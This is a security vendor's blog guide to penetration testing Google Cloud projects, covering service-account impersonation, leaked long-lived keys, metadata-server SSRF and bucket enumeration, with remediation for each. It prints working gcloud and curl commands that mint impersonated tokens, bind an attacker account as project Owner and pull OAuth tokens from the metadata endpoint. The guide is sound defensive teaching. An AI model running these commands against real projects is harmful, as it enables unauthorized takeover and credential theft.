Strobesstrobes
Platform
Solutions
Resources
Customers
Company
Pricing
Book a Demo
Strobesstrobes

Strobes connects every exposure signal to autonomous action, so security teams fix what matters, prove what works, and stop chasing noise.

Book a DemoTalk to an expert
ISO 27001SOC 2CREST
  • Platform
  • Platform Overview
  • Agentic Exposure Management
  • AI Agents
  • Integrations
  • API & Developers
  • Workflows & Automation
  • Analytics & Reporting
  • Solutions
  • Exposure Assessment (EAP)
  • Attack Surface Management
  • Application Security Posture
  • Risk-Based Vulnerability Management
  • Adversarial Exposure Validation (AEV)
  • AI Pentesting
  • Pentesting as a Service
  • CTEM Framework
  • By Industry
  • Financial Institutions
  • Technology
  • Retail
  • Healthcare
  • Manufacturing
  • By Roles
  • CISOs
  • Security Directors
  • Cloud Security Leaders
  • App Sec Leaders
  • Resources
  • Quick Agentic Pentest
  • Blog
  • Customer Stories
  • eBooks
  • Datasheets
  • Videos & Demos
  • Exposure Management Academy
  • CTEM Maturity Assessment
  • Pentest Health Check
  • Security Tool ROI Calculator
  • Company
  • About Strobes
  • Meet the Team
  • Trust & Security
  • Contact Us
  • Careers
  • Become a Partner
  • Technology Partner
  • Partner Deal Registration
  • Press Release

Weekly insight for security leaders

CTEM research, agentic AI trends, and what's actually moving the needle.

© 2026 Strobes Security Inc. All rights reserved.

Privacy PolicyTerms of ServiceCookie PolicyAccessibilitySitemap
Back to Blog
GCP Penetration Testing Guide
Cloud pentestingCloud Security

GCP Penetration Testing Guide

Shubham JhaJuly 24, 20258 min read

Table of Contents

  • What are the rules for penetration testing GCP?
  • Impersonation is the cleanest path to project Owner
  • Long-lived service-account keys are the leak that never expires
  • How does the GCP metadata server SSRF pivot work, and why do scopes matter?
  • What does a real GCP engagement turn up, and how do you fix it?
  • Frequently asked questions
  • Sources and references

Authors

S
Shubham Jha

Share

Table of Contents

  • What are the rules for penetration testing GCP?
  • Impersonation is the cleanest path to project Owner
  • Long-lived service-account keys are the leak that never expires
  • How does the GCP metadata server SSRF pivot work, and why do scopes matter?
  • What does a real GCP engagement turn up, and how do you fix it?
  • Frequently asked questions
  • Sources and references

Authors

S
Shubham Jha

Share

TL;DR
  • ✓Google requires no notification to test your own GCP projects, but you must comply with the Google Cloud Acceptable Use Policy, which forbids disruptive testing like DoS. There is no permitted-services list and no simulated-events form.
  • ✓GCP IAM is the whole game: role bindings at project, folder, and org level, plus service accounts that can impersonate one another, are where escalation lives.
  • ✓Service-account impersonation (iam.serviceAccounts.getAccessToken / actAs) lets you act as a more privileged account without ever touching its key, often the cleanest path to Owner.
  • ✓Service-account keys are long-lived JSON credentials that never expire on their own; when they leak into repos, images, or metadata they grant their account's full power until manually revoked.
  • ✓The metadata server (metadata.google.internal) returns OAuth tokens but requires Metadata-Flavor: Google, and the token's power is capped by the instance's launch scopes, not just IAM roles.

GCP penetration testing lives and dies on one feature that AWS and Azure handle differently: service accounts can impersonate each other. An identity that holds Token Creator over a more privileged account can mint a token as that account with a single flag and never needs a key, a password, or an exploit. Get the binding graph wrong by one role and a build script escalates to project Owner.

So this guide is organized around the GCP IAM model rather than a generic recon-to-report sequence. It opens with impersonation because that is the path that lands most often, then works through long-lived keys, the metadata SSRF and its scope gotcha, and the org policies that shut the whole class down. You will see the actual gcloud output at each step and a sample findings table. Written authorization from the project owner is assumed.

Table of contents
  1. What are the rules for penetration testing GCP?
  2. Impersonation is the cleanest path to project Owner
  3. Long-lived service-account keys are the leak that never expires
  4. How does the GCP metadata server SSRF pivot work, and why do scopes matter?
  5. What does a real GCP engagement turn up, and how do you fix it?

What are the rules for penetration testing GCP?

Google requires no notification or approval to test resources in your own GCP projects, but you must comply with the Google Cloud Acceptable Use Policy and Terms of Service. You test what you own: Compute Engine instances, Cloud Functions, Cloud Storage buckets, GKE clusters, and your IAM configuration. You do not test Google's underlying infrastructure or other customers.

Prohibited activity follows the familiar pattern: no denial-of-service or anything that disrupts Google's services or other tenants, no testing of resources you do not own. Unlike AWS, there is no permitted-services list and no simulated-events form; the constraint is behavioral, not a category whitelist. The practical guardrails are simple: keep activity inside authorized projects, never touch another customer's resources, and avoid traffic volumes that could degrade a shared Google service. Confirm your identity and project context first, because in GCP your reach is whatever this identity can impersonate:

$ gcloud auth list --format="value(account)"
build-runner@acme-prod.iam.gserviceaccount.com         <- you are a service account, not a user
$ gcloud config get-value project
acme-prod

Because GCP testing is so identity-driven, it has more in common with reviewing an access model than running a network sweep, and it pairs with our overview of what to expect from a cloud penetration test.

GCP Testing: In Scope vs Out of Scope
In scope (no approval)Out of scope / prohibited
Your Compute, Cloud Functions, GKEGoogle's underlying infrastructure
Your Cloud Storage bucket configDoS or service-disrupting tests
Your IAM bindings and service accountsTesting resources you do not own
App-layer attacks on your own appsAnything violating the GCP AUP
Custom-role permission reviewOther tenants' projects or data

Impersonation is the cleanest path to project Owner

The most reliable GCP escalation is direct impersonation, no exploit required. If your identity holds iam.serviceAccounts.getAccessToken (the roles/iam.serviceAccountTokenCreator role) over a more privileged service account, you mint a token as that account. First list the accounts in the project, then test which you can act as:

$ gcloud iam service-accounts list --format="value(email)"
build-runner@acme-prod.iam.gserviceaccount.com
terraform-admin@acme-prod.iam.gserviceaccount.com      <- likely privileged, try impersonating it

$ gcloud auth print-access-token \
    --impersonate-service-account=terraform-admin@acme-prod.iam.gserviceaccount.com
ya29.c.b0AX...                                          <- success: we now hold terraform-admin's token

Confirm the escalation end to end by running a privileged action under the borrowed identity. Binding yourself Owner with the impersonated account is the unambiguous proof:

$ gcloud projects add-iam-policy-binding acme-prod \
    --member="user:attacker@example.com" --role="roles/owner" \
    --impersonate-service-account=terraform-admin@acme-prod.iam.gserviceaccount.com
Updated IAM policy for project [acme-prod].             <- you are now Owner

The defensive fix is surgical: grant Token Creator only where a workflow truly needs it, scope it to the specific target service account rather than the project, and prefer workload identity federation over standing impersonation grants. The other escalation families (setIamPolicy to bind yourself a role, iam.serviceAccountKeys.create to mint a key, deploy permissions plus actAs) follow the same map-the-graph discipline; Rhino Security Labs documented around two dozen of them.

GCP IAM Escalation Hunting
Impersonation
  • ✓Find roles/iam.serviceAccountTokenCreator on privileged accounts
  • ✓Test iam.serviceAccounts.actAs against each service account
  • ✓Confirm with gcloud auth print-access-token --impersonate-service-account
Self-grant and keys
  • ✓Flag any identity with roles/owner or setIamPolicy
  • ✓Look for iam.serviceAccountKeys.create permission
  • ✓Check the default Compute SA for the broad Editor role

Long-lived service-account keys are the leak that never expires

Service-account keys are long-lived JSON credential files, and unlike short-lived metadata tokens they do not expire on their own. When a key leaks into a public repo, a container image, a CI variable, or instance metadata, whoever finds it authenticates as that account and uses every permission it holds until an administrator manually disables or deletes the key. During a test, hunt keys everywhere: source control, build artifacts, environment variables, and the metadata of compromised instances. Once you have one, activate it and read exactly what it can do:

$ gcloud auth activate-service-account --key-file=leaked-key.json
Activated service account credentials for: [ci-deploy@acme-prod.iam.gserviceaccount.com]
$ gcloud projects get-iam-policy acme-prod \
    --flatten="bindings[].members" \
    --filter="bindings.members:ci-deploy@acme-prod.iam.gserviceaccount.com" \
    --format="value(bindings.role)"
roles/editor                                            <- a leaked key with project-wide Editor

That single line, roles/editor, is the difference between a contained leak and a project takeover. The defensive position is to avoid user-managed keys entirely in favor of workload identity and short-lived tokens, then alert on any key creation. The leaked-credential problem is universal across cloud, which we also cover in the Azure penetration testing guide.

How does the GCP metadata server SSRF pivot work, and why do scopes matter?

The GCP metadata server returns OAuth access tokens for the instance's attached service account, making it a prime SSRF target. From a compromised instance or an SSRF, request the token endpoint with the required Metadata-Flavor: Google header, and crucially also read the scopes:

$ curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
{"access_token":"ya29.c.b0A...","expires_in":3592,"token_type":"Bearer"}

$ curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes"
https://www.googleapis.com/auth/cloud-platform          <- full-access scope: the token can do anything the SA can

That mandatory header is the first defense; legacy /v1beta1/ endpoints did not require it but are deprecated, and the v1 endpoint rejects header-less requests. The second, GCP-specific limiter is OAuth scopes. An instance launched with restricted scopes hands you a token that cannot do much even if the service account has broad IAM roles. The cloud-platform scope above is the dangerous case: it lifts the cap entirely. Always check both the scopes and the underlying roles before you rate the finding, because the combination, not either one alone, determines impact. The mechanics echo the metadata attacks in our AWS penetration testing guide.

Strobes insight
On GCP a metadata token is gated by OAuth launch scopes, not just IAM roles. An instance with broad service-account roles but restricted scopes hands you a near-useless token; one with cloud-platform scope hands you the project. Check both before rating the SSRF.

What does a real GCP engagement turn up, and how do you fix it?

On a recent assessment of a fintech's GCP estate, the chain that landed was unglamorous. A build VM ran with the default Compute Engine service account, which still carried the broad Editor role, and the instance was launched with the cloud-platform scope. One SSRF in a webhook handler yielded a token that could do almost anything in the project. Before that, an unauthenticated bucket sweep had already given us the lay of the land:

$ python3 gcpbucketbrute.py -k acme -u
[+] acme-prod-backups: EXISTS - Anonymous user has [storage.objects.list]   <- public listing
[+] acme-terraform-state: EXISTS - No access
$ gsutil ls gs://acme-prod-backups
gs://acme-prod-backups/db-dump-2026-05.sql.gz

The findings table below is that report excerpt. Each fix is an org-level control, not a one-off. Strip Editor from default service accounts and launch instances with the narrowest OAuth scopes. Grant Token Creator surgically. Enable Cloud Audit Logs across services. And kill the long-lived-key class entirely with an organization policy:

gcloud resource-manager org-policies enable-enforce \
  iam.disableServiceAccountKeyCreation \
  --organization 123456789012
# Also: constraints/iam.automaticIamGrantsForDefaultServiceAccounts (deny)

One GCP-specific edge case worth knowing: a custom role can look harmless by name yet bundle a single dangerous permission like iam.serviceAccounts.getAccessToken, so never rate a role by its display name. Expand it with gcloud iam roles describe and read the actual permission list, because that is where the impersonation edge usually hides. The same applies to folder- and organization-level bindings, which inherit downward and are easy to miss when you only inspect the project policy. For tooling, run posture first with ScoutSuite (scout gcp --user-account) and Prowler to surface public buckets, over-permissive bindings, and default-SA Editor, then use the Rhino Security GCP IAM privilege-escalation scripts and the impersonation checks above for the chains scanners cannot see. Posture scanners flag the public bucket and the default-SA Editor binding but miss live impersonation chains and never replay your SSRF. Running this on a cadence rather than once a year is the case for continuous, agentic pentesting, and findings feed straight into a cloud security posture checklist.

Sample Findings (Report Excerpt)
FindingSeverity (CVSS)EvidenceRemediation
Default Compute SA holds EditorHigh (8.1)get-iam-policy showed default SA with roles/editorStrip Editor; assign least-privilege custom role
Instance launched with cloud-platform scopeHigh (7.6)metadata scopes endpoint returned full-access scopeRelaunch with narrow per-service scopes
SSRF in webhook handler reaches metadataCritical (9.0)Metadata-Flavor: Google request returned an SA tokenValidate egress; enforce header-blocking proxy
Public Cloud Storage bucketMedium (6.5)gcpbucketbrute showed anonymous storage.objects.listRemove allUsers binding; enable public access prevention
Service-account key creation allowedMedium (5.4)No org policy on iam.disableServiceAccountKeyCreationEnforce the org policy; use workload identity

Frequently asked questions

Do you need Google's permission to pentest GCP?
No advance notification or approval is required to test resources you own in your own GCP projects, but you must comply with the Google Cloud Acceptable Use Policy and Terms of Service. Those still prohibit denial-of-service testing, disrupting Google's services, and testing resources or tenants you do not own. Unlike AWS, there is no permitted-services list or simulated-events form.
How do attackers escalate privileges in GCP IAM?
The cleanest path is impersonation: iam.serviceAccounts.getAccessToken or actAs over a more privileged service account lets you mint a token as that account with no key required. Other paths use iam.serviceAccountKeys.create to mint new keys, setIamPolicy to bind yourself a stronger role, and deploy permissions on Cloud Functions or Compute combined with actAs to run code as a privileged account.
Why are GCP service account keys risky?
Service-account keys are long-lived JSON credentials that do not expire automatically. If one leaks into a repository, image, CI variable, or instance metadata, an attacker authenticates as that account and uses all its permissions until an administrator manually revokes the key. Workload identity and short-lived tokens are the safer alternative, and an org policy can disable key creation entirely.
How does SSRF to the GCP metadata server work?
A request to metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token with the Metadata-Flavor: Google header returns an OAuth access token for the instance's service account. The required header blocks SSRF primitives that cannot set custom headers, and the token's power is capped by the instance's OAuth launch scopes, so check both the scopes and the underlying IAM roles.
What tools are used for GCP penetration testing, and in what order?
Run posture first with ScoutSuite (scout gcp) and Prowler to surface public buckets, over-permissive bindings, and default-SA Editor. Then use GCPBucketBrute to enumerate storage, the Rhino Security GCP IAM privilege-escalation scripts to test documented escalation methods, and the native gcloud CLI for impersonation and binding enumeration. Cartography graphs asset relationships for larger estates.
What is the most common GCP misconfiguration?
Over-privileged default service accounts are the most common issue, particularly the default Compute Engine service account which often carries the broad Editor role. Combined with instances launched using the full-access cloud-platform OAuth scope, this lets a single compromised instance act with wide project permissions, which is why both controls should be tightened together.

Sources and references

  • Google Cloud Acceptable Use Policy
  • GCP Instance Metadata Overview
  • Rhino Security GCP IAM Privilege Escalation
  • GCP Organization Policy Constraints
  • ScoutSuite
S
Shubham Jha
Security Researcher, Strobes
Shubham Jha leads offensive security research at Strobes, focused on web and API exploitation and red team tradecraft.
Tags
Cloud PentestingGCPCloud Security

Stop chasing vulnerabilities Start reducing exposure

See how Strobes AI agents validate and fix your most critical exposures automatically.

Book a Demo
Continue Reading

Related Posts

Pentesting microservices architecture beyond the API gateway with East-West traffic testing
Penetration TestingApplication Security

Pentesting Microservices Architecture: Why Traditional Methods Fall Short

Why traditional pentesting misses 90% of microservices attack surface. Learn how to test East-West traffic, service mesh, and Kubernetes security at scale.

Jun 4, 202620 min
Beyond the Basics Developing a Risk Driven AI Driven Cloud Native Security Strategy.
Cloud Security

Beyond the Basics Developing a Risk Driven AI Driven Cloud Native Security Strategy.

The use of clouds has taken a significant step forward beyond workloads and virtual machines. Containers, Kubernetes, microservices, APIs, and serverless functions can be relied upon by modern enterprises to provide a cloud-native architecture. Such environments not only speed up the delivery of sof

Oct 22, 202512 min
Beyond the Basics Developing a Risk Driven AI Driven Cloud Native Security Strategy
Cloud Security

Beyond the Basics Developing a Risk Driven AI Driven Cloud Native Security Strategy

Cloud-native architectures bring speed and scalability but also create new risks beyond traditional workloads. Misconfigured APIs, vulnerable containers, and over-permissive access expose enterprises to advanced threats. This blog explains why legacy security tools fall short, how AI-driven strategi

Sep 30, 202512 min